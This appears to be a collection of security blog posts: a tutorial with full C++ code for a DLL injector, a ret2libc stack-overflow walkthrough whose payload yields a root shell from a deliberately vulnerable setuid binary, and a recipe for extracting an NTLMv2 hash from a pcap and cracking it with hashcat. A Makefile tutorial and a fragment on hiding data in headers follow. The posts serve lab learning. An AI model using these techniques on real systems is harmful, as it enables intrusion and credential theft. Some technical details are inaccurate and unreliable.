
[DLL injection](https://en.wikipedia.org/wiki/DLL_injection) is the process of forcing a running process to load a DLL (Dynamically Linked Library) of your choice. In this write-up, I'll walk you through the LoadLibraryA injection method. This causes the DLL to be loaded into the context of the process thus allowing us to execute our own code inside of the process's virtual memory space.

	I assume there is a base understanding of what a DLL is. By the end of this write-up, we'll have a functional DLL injector along with a bare-bone test DLL which we'll use for testing during development.

	Writing a DLL injector is pretty trivial and only requires a handful steps. Remember that DLLs are specific to Windows and there-for we'll be utilizing functions provided to us by the Windows API. The steps required for the task at hand are in order as follows:

1. Acquire a handle to the remote process that you want to inject / load your DLL into. We do this by prompting for a process ID (PID) after displaying a list of processes w/ their PIDs.


    // Get the remote target pid
    uint16_t target_pid = get_target_pid();
    
    if (!target_pid) {
    std::cerr << "Getting remote target process ID failed..." << std::endl;
    return 1;
    }
    
    // <snipped> ...
    
    // Obtain a handle to the target remote process.
    HANDLE target_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
    
    
    if (target_process == NULL) {
        std::cerr << "Acquiring a handle to the remote target process failed..." << std::endl;
        return -1;
    }

*get_target_pid() function:*

    
    uint16_t get_target_pid() {
    	uint16_t pid = 0;
    	
    	std::string pid_str;
    	bool first_input_entered = false;
    
    	do {
    		if (first_input_entered) {
    			system("cls");
    			print_banner();
    			std::cerr << "The given process ID is invalid, try again..." << std::endl;
    		}
    
    		print_process_list();
    
    		std::cout << "\nEnter target process ID: ";
    		std::getline(std::cin, pid_str);
    
    		if (first_input_entered == false) {
    			first_input_entered = true;
    		}
    
    		if (pid_str == "exit" ||
    			pid_str == "quit") {
    			break;
    		}
    
    	} while (file_exists(pid_str) == false && !pid_str.size());
    
    	if (pid_str != "exit" &&
    		pid_str != "quit") {
    		pid = (uint16_t)std::stoi(pid_str);
    	}
    
    	return pid;
    }

2. Create and store the DLL's absolute path in a variable.


    // Get the dll's path that we want to inject into our remote target process.
    std::string dll_path = get_dll_path();
    
    std::cout << "DLL path: " << dll_path << std::endl;

*get_dll_path() function:*

    std::string get_dll_path() {
    
    	std::string dll_path;
    	bool first_input_entered = false;
    
    	do {
    		if (first_input_entered) {
    			system("cls");
    			print_banner();
    			std::cerr << "Specified DLL path was invalid, try again..." << std::endl;
    		}
    
    		std::cout << "Enter path to DLL: ";
    		std::getline(std::cin, dll_path);
    
    		if (first_input_entered == false) {
    			first_input_entered = true;
    		}
    
    		if (dll_path == "exit" ||
    			dll_path == "quit") {
    			break;
    		}
    
    	} while (file_exists(dll_path) == false);
    
    	return dll_path;
    }

3. Now we need to allocate enough space in the remote process to store the DLLs absolute path. We achieve this by using Window's [VirtualAllocEx](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualallocex) function.


    // Allocate space for our DLL path inside the target remote process.
    LPVOID dll_path_in_remote_mem_addr = VirtualAllocEx(
    	target_process,
    	NULL,
    	_MAX_PATH,
    	MEM_RESERVE | MEM_COMMIT,
    	PAGE_EXECUTE_READWRITE
    );
    
    if (dll_path_in_remote_mem_addr == NULL) {
    	std::cerr << "Allocating space for our DLL path in the remote target process's virtual memory space failed..." << std::endl;
    	CloseHandle(target_process);
    	return 1;
    }
    
    std::cout << "DLL allocation memory address: " << &dll_path_in_remote_mem_addr << std::endl;

4. And now that we've allocated and reserved enough memory for the DLL path, we can write it into that region of memory of the remote process using the Window's [WriteProcessMemory](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-writeprocessmemory) function. 


    // Copy the DLL path into the allocated memory region.
    bool write_status = WriteProcessMemory(
    	target_process,
    	dll_path_in_remote_mem_addr,
    	dll_path.c_str(),
    	strlen(dll_path.c_str()),
    	NULL
    );
    
    std::cout << "WriteProcessMemory was " << (write_status ? "successful!" : "unsuccessful...") << std::endl;;
    
    if (!write_status) {
    	std::cerr << "GetLastError() for failed WriteProcessMemory() call: " << GetLastError() << std::endl;
    	CloseHandle(target_process);
    	return 1;
    }

5. Next, we'll need to obtain the address to the Window's [LoadLibraryA](https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya) function. This is easily done through the Window's [GetProcAddress](https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress) function.


    // Get the address to the LoadLibraryA Windows API function.
    LPVOID load_library_addr = (LPVOID)GetProcAddress(
    	GetModuleHandle("kernel32.dll"),
    	"LoadLibraryA"
    );
    
    if (load_library_addr == NULL) {
    	std::cerr << "GetProcAddress failed..." << std::endl;
    	CloseHandle(target_process);
    	return 1;
    }
    
    std::cout << "LoadLibraryA address: " << &load_library_addr << std::endl;

6. Create a remote thread via [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread) and pass the handle we have on the remote process, the address to LoadLibraryA, and the memory address that our DLL path resides at. LoadLibraryA will be invoked and passed `dll_path_in_remote_mem_addr` by our call to CreateRemoteThread. This is where the magic happens and our DLL is loaded into the process.


    // Create our remote thread for running our DLL code.
    HANDLE remote_thread = CreateRemoteThread(
    	target_process,
    	NULL,
    	NULL,
    	(LPTHREAD_START_ROUTINE)load_library_addr,
    	dll_path_in_remote_mem_addr,
    	NULL,
    	NULL
    );
    
    if (remote_thread == NULL) {
    	std::cerr << "CreateRemoteThread failed..." << std::endl;
    	return 1;
    }
    
    std::cout << "Remote thread address: " << &remote_thread << std::endl;

7. The last thing we do is deallocate the memory that was reserved for our DLL path using [VirtualFreeEx](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualfreeex) and then close our open handles using [CloseHandle](https://docs.microsoft.com/en-us/windows/desktop/api/handleapi/nf-handleapi-closehandle).


    // Release the allocated memory we acquired from the remote process.
    if (VirtualFreeEx(target_process, dll_path_in_remote_mem_addr, 0, MEM_RELEASE) == 0) {
    	std::cerr << "VirtualFreeEx failed on target process..." << std::endl;
    }
    
    // Free our handle on the remote thread
    CloseHandle(remote_thread);
    
    // Free our handle on the remote process
    CloseHandle(target_process);

Tying our code together and testing it out ~ we run `.\InjectDLL.exe`, then enter the remote target PID, and finally the absolute path to `TestDLL.dll`. Our executable outputs some information about the injection indicating it was successful.  

![](2019/07/2019-05-02-090559_3440x1440_scrot.png "Successful execution of our DLL injector")

Our injector indicated it was successful, but we can double check with Window's [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer). After installing it (if you don't have it installed already) we launch it, make sure the lower pane is visible by toggling it on. This can be achieved by checking the `View -> Show Lower Pane` option. Then, select the remote target process in the list and press the key combination `Ctrl + d`. You should now see a list of loaded DLLs. One of which is our DLL! 

![](2019/07/process-explorer-test-dll-injection-success.png "Using Process Explorer, we can see that our TestDLL.dll file was injected into Game.exe successfully.")

Once we have successfully loaded our DLL into the target process, we can access and reference anything within it's virtual memory space. In part 2, I'll demonstrate an example use case of DLL injection by showing how we can find an in-memory data structure (i.e. the offset to a player structure / class in a game).

The full source code for both the DLL injector and the Test DLL can be found in this [Github](https://github.com/selftaught/DLLinjector) repository.

Thanks for reading through this article! If you notice any issues in the write-up or code - please don't hesitate to message me! You can do so via [keybase](https://keybase.io/th3v0id) or [twitter](https://twitter.com/x74x76).


DLL injection - Developing a simple injector.


A stack buffer overflow occurs when a program writes to a memory address on it's call stack outside of the intended structure / space.

In this walk-through, I'm going to cover the ret2libc (return-to-libc) method. This method of exploitation is great because it doesn't require the use of your typical shellcode. It involves making sys calls to the functions provided to us by libc (standard c library). We're going to use the `system` and `exit` sys calls for demonstration.

To have a good understanding about how stack overflows work, it's extremely helpful to know how stack data structures work, and more importantly - how the call stack works. For the sake of time, I'm not going to type out how these two things work in great detail. If you want to know how these work, I would recommend watching [stack](https://www.youtube.com/watch?v=7dLZRMDcY6c) and [call stack](https://www.youtube.com/watch?v=XbZQ-EonR_I).

## Creating a vulnerable binary to test on

To practice carrying out a SOF, we create a vulnerable binary. The source below uses strcpy with no boundary checking. This is what makes the code vulnerable to a stack overflow attack. strcpy() will take whatever is in argv[1] and copy it into buf. Without boundary checking around strcpy() to make sure the length of argv[1] isn't greater than the width of the buffer, we can overrun the buffer and overwrite assembler instructions with our own.

    #include <string.h>
    #include <unistd.h>
    #include <sys/cdefs.h>
    
    int main(int argc, char** argv) {
    
        setuid(0);
    
        if (argc > 1) {
            char buf[256];
            strcpy(buf, argv[1]);
        }
    
        return 0;
    }
    

For the sake of simplicity and keeping this article to a sane length, I disable common buffer overflow protection (BOP) mechanisms including ASLR, Canaries, and NX bit. PIE and RelRO are disabled on my system by default. I also pass an option along to make the binary 32-bit.

`gcc -g -Wall -mpreferred-stack-boundary=2 -fno-stack-protector -m32 -I. -z execstack -o bin/sof src/sof.c`

- `-g`: Produces debugging information about the program that GDB (GNU Debugger) can use to aid us.
- `-fno-stack-protector`: Disables stack smashing protectors (SSP).
- `-z execstack`: Makes stack frames executable.
- `-o sof`: Output (compiled) binary name will be sof.
- `-mpreferred-stack-boundary=2`: aligns the stack boundary in our binary to 4 bytes.

ASLR can't be disabled via a compiler flag because it's a feature that's carried out and managed by the kernel. On Fedora, Debian, and Ubuntu, ASLR can be disabled by adding `kernel.randomize_va_space = 0` to `/etc/sysctl.conf` or `echo 0 > /proc/sys/kernel/randomize_va_space`. Other linux distributions may require a different approach. An easy way to determine if ASLR is enabled (it likely is if you didn't expliclity disable it) is to `cat /proc/sys/kernel/randomize_va_space`. If the output is a positive number, it's enabled.

## Assembler dump breakdown

Let's disassemble the main function in our binary, break it down, and talk about what happens at an assembler level.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  gdb -q 	bin/sof                                              
    [*] No debugging session active
    GEF for linux ready, type `gef' to start, `gef config' to configure
    67 commands loaded for GDB Fedora 8.0.1-33.fc27 using Python engine 3.6
    Reading symbols from bin/sof...done.
    @gef➤  disassemble main
    Dump of assembler code for function main:
       0x08048416 <+0>:	push   ebp
       0x08048417 <+1>:	mov    ebp,esp
       0x08048419 <+3>:	sub    esp,0x100
       0x0804841f <+9>:	push   0x0
       0x08048421 <+11>:	call   0x8048300 <setuid@plt>
       0x08048426 <+16>:	add    esp,0x4
       0x08048429 <+19>:	cmp    DWORD PTR [ebp+0x8],0x1
       0x0804842d <+23>:	jle    0x8048447 <main+49>
       0x0804842f <+25>:	mov    eax,DWORD PTR [ebp+0xc]
       0x08048432 <+28>:	add    eax,0x4
       0x08048435 <+31>:	mov    eax,DWORD PTR [eax]
       0x08048437 <+33>:	push   eax
       0x08048438 <+34>:	lea    eax,[ebp-0x100]
       0x0804843e <+40>:	push   eax
       0x0804843f <+41>:	call   0x80482e0 <strcpy@plt>
       0x08048444 <+46>:	add    esp,0x8
       0x08048447 <+49>:	mov    eax,0x0
       0x0804844c <+54>:	leave  
       0x0804844d <+55>:	ret    
    End of assembler dump.
    @gef➤  q
    

       0x08048416 <+0>:	push   ebp
       0x08048417 <+1>:	mov    ebp,esp
       0x08048419 <+3>:	sub    esp,0x100
    

These first few lines above are called a function prologue. `push ebp` pushes our base pointer onto the stack. Then `mov ebp,esp` copies the value of `esp` (stack pointer) into the `ebp` register making `ebp` == `esp`. Next, `sub esp,0x100` moves the stack pointer 256 bytes (0x100 hex = 256) towards a lower memory address, reserving 256 bytes of data on the stack. This is space being reserved for `char buf[256]`.

       0x0804841f <+9>:	push   0x0
       0x08048421 <+11>:	call   0x8048300 <setuid@plt>
    

Push 0 onto the stack as an argument for the call to `setuid()`.

       0x08048426 <+16>:	add    esp,0x4
       0x08048429 <+19>:	cmp    DWORD PTR [ebp+0x8],0x1
       0x0804842d <+23>:	jle    0x8048447 <main+49>
    

The next instruction `cmp DWORD PTR [ebp+0x8],0x1` compares the first argument of main (argc) to 1. The following `jle` instruction uses the result of this comparison. It takes the result and jumps to `<main+39>` if the result is less than or equal to the value stored at `0x8048412`, which is 1. If you look at the C source above, you can see this is essentially our `if (argc >) {...}` condition.

       0x0804842f <+25>:	mov    eax,DWORD PTR [ebp+0xc]
       0x08048432 <+28>:	add    eax,0x4
       0x08048435 <+31>:	mov    eax,DWORD PTR [eax]
       0x08048437 <+33>:	push   eax
    

Here, we move the address stored at ebp+0xc into the eax register (this is the address to element 0 of argv). Then, we add 4 bytes to the address stored in the eax register. This results in the address of `argv[1]`. Next, `mov eax,DWORD PTR [eax]` takes the value at `argv[1]` and copies it into the `eax` register. `push eax` pushes this value onto the stack.

       0x08048438 <+34>:	lea    eax,[ebp-0x100]
       0x0804843e <+40>:	push   eax
    

`lea eax,[ebp-0x100]` calculates the address of `ebp-0x100` and stores the address in `eax`. `push eax` pushes this address onto the stack.

       0x0804843f <+41>:	call   0x80482e0 <strcpy@plt>
    

The `call` instruction does a couple of things. It pushes the address of the instruction immediately following the call instruction onto the stack and then does an unconditional jump to `strcpy@plt`. The reason a return address is pushed onto the stack is so that when `strcpy@plt` finishes executing, the program knows where to return execution.

       0x08048444 <+46>:	add    esp,0x8
       0x08048447 <+49>:	mov    eax,0x0
       0x0804844c <+54>:	leave  
       0x0804844d <+55>:	ret    
    

These last four instructions are a function epilog. This is just the opposite of a function prologue. Instead of setting up the stack, the epilog cleans up the stack. `add esp,0x8` adds 8 bytes to the address `esp` points to. Then `mov eax,0x0` zeros out whatever is stored in the `eax` register. The `leave` instruction does a couple of things. It releases the stack frame and then copies the base pointer (`ebp`) into `esp`. This releases the space that was allocated to the previous stack frame. Finally, the `ret` instruction pops the return address off the stack and transfers returns execution to the address that was pop'd.

# Exploiting the SOF vulnerability

Now that we have disabled common BOP features and understand the assembler of our vulnerable binary, we will begin exploiting. One of the first things I like to do (after reviewing the assembler dump) is to verify that an overflow exists by triggering a segmentation fault. This is done by providing data to a program which in our case, get's strcpy'd into a fixed width buffer.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  bin/sof $(perl -e 'print "A" x 260')
    [1]    6406 segmentation fault (core dumped)  bin/sof $(perl -e 'print "A" x 260')
    

When we strcpy 260 'A' characters into the buffer, we get a segmentation fault. This is because we overwrote the four bytes of memory after the end of our buffer. Segmentation faults are exceptions that get raised by hardware with memory protection. It indicates that something tried writing to a region of memory it shouldn't have.

## Creating the payload

In order to successfully call `system`, we need to place a few different values on the stack, when we overflow the buffer. We need the address of "/bin/sh" found in libc.so, an address that execution will return to when system has finished, and an address to the system call itself.

To get the address to '/bin/sh', we can calculate it by taking the starting address of libc.so and adding the offset of '/bin/sh' to it.

To see the absolute path to the libc.so library that our binary uses, we use `ldd`. This is needed for the next step.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  ldd bin/sof
    	linux-gate.so.1 (0xf7fd2000)
    	libc.so.6 => /lib/libc.so.6 (0xf7deb000)
    	/lib/ld-linux.so.2 (0xf7fd4000)
    
    

Next, we use `strings` to report the offset of any string it finds in libc.so and grep the output for what we're after.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  strings -a -t x /lib/libc.so.6 | grep '/bin/sh'   
     16a23e /bin/sh
    

Running `vmmap` will also provide the starting address of libc.so when ran from a active gdb session.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  gdb -q bin/sof
    
    @gef➤  vmmap
    Start      End        Offset     Perm Path
    0x08048000 0x08049000 0x00000000 r-x /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
    0x08049000 0x0804a000 0x00000000 rwx /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
    0xf7deb000 0xf7fa4000 0x00000000 r-x /usr/lib/libc-2.26.so
    0xf7fa4000 0xf7fa5000 0x001b9000 --- /usr/lib/libc-2.26.so
    0xf7fa5000 0xf7fa7000 0x001b9000 r-x /usr/lib/libc-2.26.so
    0xf7fa7000 0xf7fa8000 0x001bb000 rwx /usr/lib/libc-2.26.so
    0xf7fa8000 0xf7fab000 0x00000000 rwx 
    0xf7fcd000 0xf7fcf000 0x00000000 rwx 
    0xf7fcf000 0xf7fd2000 0x00000000 r-- [vvar]
    0xf7fd2000 0xf7fd4000 0x00000000 r-x [vdso]
    0xf7fd4000 0xf7ffc000 0x00000000 r-x /usr/lib/ld-2.26.so
    0xf7ffc000 0xf7ffd000 0x00027000 r-x /usr/lib/ld-2.26.so
    0xf7ffd000 0xf7ffe000 0x00028000 rwx /usr/lib/ld-2.26.so
    0xfffda000 0xffffe000 0x00000000 rwx [stack]
    
    @gef➤  q
    

We calculate the address by taking the start address of `/usr/lib/libc-2.26.so` and add the offset of the string. I like to use `printf` for this. If you use printf in gdb, you have to add `shell` before the command so gdb doesn't try to interpret it as one it provides. Same applies to any shell command you want to run in gdb.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  printf "0x%x\n" $((0xf7deb000 + 0x16a23e))  
    0xf7f5523e
    

To verify the address is correct, we can evaluate it in gdb, and see what string resides there. It should be '/bin/sh'.

    @gef➤  x/s 0xf7f5523e
    0xf7f5523e:	"/bin/sh"
    

And now, we just need the address of `system`.

    @gef➤  p system
    $1 = {<text variable, no debug info>} 0xf7e2c540 <__libc_system>
    
    @gef➤  q
    

Because I'm on a machine with an Intel processor and I compiled the binary for 32 bit systems, the addresses we found need to be reversed to conform with little-endian notation. If you have a processor that enforces little-endian notation, you will find yourself doing this often. I wrote this [script](https://gist.github.com/selftaught/5ba8e942f68ae38719243de8d07bcaea) that takes a memory address and reverses it.

Reverse system address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  raddr -a 0xf7e2c540
    \x40\xc5\xe2\xf7
    

Reverse "/bin/sh" string address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  raddr -a 0xf7f5523e
    \x3e\x52\xf5\xf7
    

And for the return address, we can use anything for the time being.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒   raddr -a 0xdeadc0de
    \xde\xc0\xad\xd
    

We modify the command we ran earlier, adding the reversed addresses onto the end of the payload.

    #
    # [      260 x "A" characters      ][  system() address  ][ random address ][ '/bin/sh' address ]
    #
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xde\xc0\xad\xde" . "\x3e\x52\xf5\xf7"')
    @sh-4.4# whoami
    root
    @sh-4.4# exit
    exit
    [1]    9121 segmentation fault  bin/sof 
    

We successfully overflow the buffer, call system with '/bin/sh' as the first arg, and get a shell. This works even despite the fact that when we exit from the shell, we get a segmentation fault. There is a way to exit the shell cleanly without triggering a segfault. What we can do instead of using 0xdeadbeef for our return address is use the `exit` system call address instead. Doing so should give us a clean exit.

    @gef➤  p exit
    $2 = {<text variable, no debug info>} 0xf7e1e8f0 <__GI_exit>
    
    @gef➤  q
    

Reverse exit's address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  raddr -a 0xf7e1e8f0 
    \xf0\xe8\xe1\xf7
    

And now replace the invalid return address with it in our payload.

    #
    # [      260 x "A" characters      ][  system() address  ][ exit() address ][ '/bin/sh' address ]
    #
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xf0\xe8\xe1\xf7" . "\x3e\x52\xf5\xf7"')
    @sh-4.4# whoami
    root
    @sh-4.4# exit
    exit
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒
    

And get a shell with a clean exit.

## Brief overview of a few common buffer overflow protection mechanisms

- 
ASLR (Address Space Layout Randomization)

- ASLR is a technique used to randomize the address space of programs when they start. This is done by giving program a random start address. This makes exploiting a buffer overflow more difficult because the addresses in the program become unreliable thus making it harder to consistently jump to any given address. Just like any other security mechanisms, ASLR only makes things more difficult. Not impossible.

- 
Canary

- Stack Canaries are used to catch stack overflows before malicious code is executed. These work by modifying function epilog and prologue regions on the stack. If a buffer is overwritten during execution, it's noticed, and results in an exception (hopefully) which bubbles up until it is caught by an exception handler. This is not always successful and there are methods for exploiting this. If you can successfully overwrite the exception handler on the stack (SEH), you can carry out your exploit, completely mitigating canaries.

- 
RELRO (RELocation Read-Only)

- RELRO protection makes the relocation sections that are used to resolve dynamically loaded functions, read-only. Essentially, what this means is that binaries get marked which tells the dynamic linker to resolve all symbols during the start up of a program when it's executed or when a shared library is linked to using dlopen instead of waiting to do resolution when a function is called.

- 
NX bit (Non-executable bit)

- Used to mark certain areas of memory as non-executable. Any processors that support the use of the NX bit will refuse to perform any write operations on marked segments of memory.

- AMD uses the terminology "Enhanced Virus Protection" for the NX bit.
- Intel refers to it as the "XD (eXecute Disabled) bit."
- ARM refers to it as the "XN (eXecute Never) bit."

## Further Reading

- [BOF protection](https://en.wikipedia.org/wiki/Buffer_overflow_protection)
- [Understanding Buffer Overflow Attacks](https://itandsecuritystuffs.wordpress.com/2014/03/18/understanding-buffer-overflows-attacks-part-1/)
- [Stack - Abstract Data Type](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
- [Smashing The Stack For Fun And Profit](http://insecure.org/stf/smashstack.html)
- [0x00 sec](https://0x00sec.org/search?q=stack%20overflow)
- [Black Hat - Difference between BOF preventions and weaknesses](https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf)
- [Exploit Mitigation Techniques - DEP](https://0x00sec.org/t/exploit-mitigation-techniques-data-execution-prevention-dep/4634)
- [Shellblade ret2libc](http://shellblade.net/docs/ret2libc.pdf)
- [x64 ROP](https://0x00sec.org/t/64-bit-rop-you-rule-em-all/1937)
- [UAF heap overflow](https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580)
- [NOP sled](https://www.exploit-db.com/papers/13171/)

## Tools

- [GEF - GDB Enhanced Features](https://github.com/hugsy/gef/)
- [SMAP - Shellcode Mapper](https://github.com/rootlabs/smap/)
- [Radare2](https://github.com/radare/radare2/)
- [Cutter - Radare2 QT GUI](https://github.com/radareorg/cutter)
- [MSFvenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)
- [pwntools](https://github.com/Gallopsled/pwntools)
- [Unicorn - CPU emulator](http://www.unicorn-engine.org/)

## Cheatsheets

- [Memory Segmentation](https://i.imgur.com/Xe1m6C3.png)
- [Reverse Engineering](https://i.imgur.com/ewrWkEa.png)
- [radare2](https://github.com/radare/radare2/blob/master/doc/intro.md)

## Other

- [Shellcode Database](http://shell-storm.org/shellcode/)
- [GDB documentation](https://sourceware.org/gdb/current/onlinedocs/gdb/)
- [GEF documentation](http://gef.readthedocs.io/en/master/)
- [Linux 32bit syscalls](http://asm.sourceforge.net/syscall.html)


Exploiting a Stack Buffer Overflow (ret2libc method)


1. Open your .pcap that contains an NTLMv2 hash in Wireshark.
2. Filter by ntlmssp to get the authentication handshake.

![](2018/12/image-3.jpg "artisanal smb2 authentication packets")

3. In this case, we get three packets. Find the NTLMSSP_AUTH packet. Filter the packet down to the Security Blob layer to get to the juicy good stuff:

![](2018/12/image-5.png "the goods")

4. Copy out the domain name and user name to a text document.

5. Drill down into the NTLM Response section to find NTProofStr and NTLMv2 response. Copy both of these out to the text document as a Hex String. 

![](2018/12/image-6.jpg "cross the streams")

6. Notice that NTLMv2Response begins with the ntlmProofStr, so delete the ntlmProofStr from the NTLMv2Response.

![](2018/12/image-7.jpg)

7. Enter ntlmssp.ntlmserverchallenge into the search filter. This will highlight the packet where the NTLM Server Challenge is found, generally the packet before the NTLM_Auth packet. Copy this value to the text document as a Hex String. 

![](2018/12/image-8.jpg)

8. Put the values into the following format and save it as crackme.txt: 

username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

![](2018/12/image-12.png)

9. Find your favorite password list (RockYou? best_1000_passwords2018.txt?) and open a terminal to use hashcat to run:

> hashcat -m 5600 crackme.txt passwordlist.txt 

and it will give you the user's password!

![](2018/12/image-13.png "congrats on the hax!")

sources for more information:

- [https://www.root9b.com/newsroom/attacking-windows-fallback-authentication/](https://www.root9b.com/newsroom/attacking-windows-fallback-authentication/)
- [https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)


A 9-step recipe to crack a NTLMv2 Hash from a freshly acquired .pcap


In this multi-part series, I will be covering Makefiles and the general behavior of Make itself. The only real prerequisite knowledge needed is a general understanding of Bash and the common Bash builtins. We are going to cover variables, functions, builtins (variables and functions), rules, and recipes. By the time you are done with this series, you should have a confident grasp of Makefiles and have the ability to quickly get started with any project. However, before I get started I'd like to make a few points. First, this series is not intended to serve as a reference for Make. Instead, it will give you a basic understanding of how to get started and, more importantly, it will give you a set of keywords to supplement your googlefu. Secondly, the snippets and examples that follow are tested using GNU Make v4.1. There exist several different versions and indeed completely different implementations of Make. There may be slight syntax differences in these different versions and implementations of Make, but the keywords in this series should point you in the right direction.

# Part 1a: Make Variables

Makefiles, at a very basic level, are more or less script files. They allow the user to define functions, variables, they begin "execution" from the first line, and continue until termination. To define a variable in a Makefile, simply declare it with a name, followed by an assignment operator, followed by the value. For example: `FOO = BAR` will define a variable named `FOO`, with the value `BAR`. The actual value you set only becomes important in the context which it is used. Syntactically speaking, there is no requirement that Makefile variables be capitalized, but it immediately distinguishes them from functions and builtins; to each their own.

Although Make variables behave similar to Environmental Variables, these values are not globally set. For example, if you define some value `FOO` in your makefile, you will not see that value present in your C file (unless you explicitly instruct your compiler to). Similar to Bash, Make does not really have a type system, a variable defined to a string can later be assigned to an integer. Make itself is intelligent enough to be able to make the distinction between them at runtime. That being said, it is probably best to avoid storing different types in a variable.

There are a series of [assignment operators](https://www.gnu.org/software/make/manual/html_node/Setting.html) in Make, and all of them behave slightly differently. Before I get into them, there is a concept which needs introducing, and that is expansion. If you are familiar with Bash and linux Environmental Variables, you should be familiar with the concept of expansion. Essentially, expansion is the evaluation of an assignment, whether it contains references to other variables or functions. Depending on the desired level of expansion, you can run into issues such as infinite recursion and infinite self-references. To address these issues, the authors of Make created different operators (actual operators in quotes to avoid confusion):

- "=": Variable assignment using *recursive* expansion.
- ":=" and "::=": ["Simple" variable assignment](https://www.gnu.org/software/make/manual/html_node/Flavors.html#Flavors) using only a single level of expansion. This prevents infinite expansion or self reference. The difference between the single-colon and double-colon versions seems to be POSIX compliance, and does not work on older versions of Make.
- "?=": Conditional variable assignment operator. This assignment will only occur if the variable being assigned to does not already exist. This is helpful for creating defaults for values which can be passed on the command line. Note that an empty value **does** count as being defined in Make.
- "+=": [Append](https://www.gnu.org/software/make/manual/html_node/Appending.html) assignment operator. This operator concatenates a space followed by the assigned value. `FOO += bar` is the equivalent of saying `FOO := $(FOO) bar`. Note that we are using `:=` for a self-reference, using `=` can cause issues.

Now that we can define variables, how do we refer to them in the rest of the Makefile? Both variables and builtins are referred to using the `$()` operator, for example:

    FOO := foo
    BAR := $(FOO) bar
    

If you were to echo `BAR` in this Makefile, you would find that it contains `foo bar`.  This shows not only variable reference, but Make's extremely simple concatenation. Again, if you are familiar with Bash this should all be familiar. Let's break down exactly how this works. First, we assign the value of `FOO` using one level of expansion. The value we set is fixed, there are no variable references or builtins to expand, it's simply set. `BAR`, on the other hand, must expand the variable reference to `FOO`, get it's value, and concatenate " bar" onto it. Note the space.

# Part 1b, Make builtin functions

[Calling functions](https://www.gnu.org/software/make/manual/html_node/Syntax-of-Functions.html#Syntax-of-Functions) in Makefiles is similar to the way that variables are referenced, wih the `$()` operator. This is true for both builtin functions, and user-defined functions, however user-defined functions are slightly different. In a Makefile, it is possible to define custom functions, but they are rarely used, so I will primarily focus on using builtin functions. For the sake of brevity, I will not be covering every single builtin available to you in Make, but I will cover how they are used, and what kind of functions are available to you.

To call a function in Make, you first need to know the name of the function, and the arguments which it accepts. The arguent system in Make is not so concrete as you might expect, instead it differs slightly from function to function. For instance,
`FOO := $(wildcard *.c)` creates a variable called `FOO` and assigns the value to the output of the [wildcard](https://www.gnu.org/software/make/manual/html_node/Wildcard-Function.html) function. This function outputs the names of all files in the current directory which match the specified pattern. The wildcard is commonly used for automatic source file detection in simple projects. Along with the wildcard function, there are several other types of functions which are available in Make:

- [Text Functions](https://www.gnu.org/software/make/manual/html_node/Text-Functions.html#Text-Functions): General text manipulation functions. They can be used to do things like substitutions, pattern-based subsitutions, changing file extensions, etc
- [Conditional Functions](https://www.gnu.org/software/make/manual/html_node/Conditional-Functions.html#Conditional-Functions): Provide a mechanism to implement a structure of logic within the Makefile.
- [File](https://www.gnu.org/software/make/manual/html_node/File-Function.html#File-Function) and [File Name](https://www.gnu.org/software/make/manual/html_node/File-Name-Functions.html#File-Name-Functions) Functions: Provides the user with utilities to manipulate file names, and do simple file I/O
- [Call Function](https://www.gnu.org/software/make/manual/html_node/Call-Function.html#Call-Function): Allows the user to call user-defined functions.

This is not an exhaustive list, for the full list of builtin functions see [this](https://www.gnu.org/software/make/manual/html_node/Functions.html).

# Part 1c, user-defined functions

Like some of the features in Make, user-defined functions exist to cover certain edge cases. You should not need them, but if you do you'll *really* need them. If you're familiar with C/C++ macros, then you will already be familiar with how Make user-defined functions work. The [O'Rielly Make open book](https://www.oreilly.com/openbook/make3/book/ch04.pdf) is a very good reference for user-defined functions. These functions must be defined on a single line, but the standard backslash notation will allow the user to split a function on to multiple lines.

    define myfunction
        echo "Hello, World!"
    

To call this function, you use the `call` builtin function, `$(call myfunction)`

This section is glossed over for a few reasons. Chances are if you're using a Makefile user-defined function you're probably Doing It Wrong™, it's already quite well documented in the linked book, and it's a fairly advanced feature of Make.


Makefiles, but in English: Part 1


Hiding data in new and interesting places has always been a fun objective for anyone who likes creating and solving challenges. One of the interesting secret hiding places for data I like to use is server headers. 

